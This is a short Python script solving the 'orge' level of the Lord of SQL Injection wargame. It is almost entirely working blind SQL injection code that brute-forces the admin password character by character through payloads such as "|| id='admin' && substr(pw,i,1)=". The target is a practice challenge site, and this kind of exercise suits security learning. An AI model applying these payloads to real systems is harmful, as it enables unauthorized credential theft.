Lord of SQL Injection(LOS) - orge

import requests

requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
header  = {'Cookie': 'PHPSESSID='}
session = requests.session()



# Check Length of PW
for i in range(0, 100):
    payload = "?pw=ABCD' || id='admin' %26%26 length(pw)=" + "'" + str(i)
    res = session.get(url = org_url + payload, headers=header, verify=False)

    if "Hello admin" in res.text:
        print("Length of PW is [ %d ]\n" % i)
        break

        
# Brute Force
password = ''

for i in range(1, 9):
    for j in range(33, 122):
        payload = "?pw=ABCD' || id='admin' %26%26 substr(pw," + str(i) + ", 1)=" + "'" + chr(j)
        res = session.get(url = org_url + payload, headers = header, verify=False)

        if "Hello admin" in res.text:
            password += chr(j)
            print("Current PW is [ %s ]\n" % password)
            break
            

# Result
print("\n\nPW --> %s\n" % password)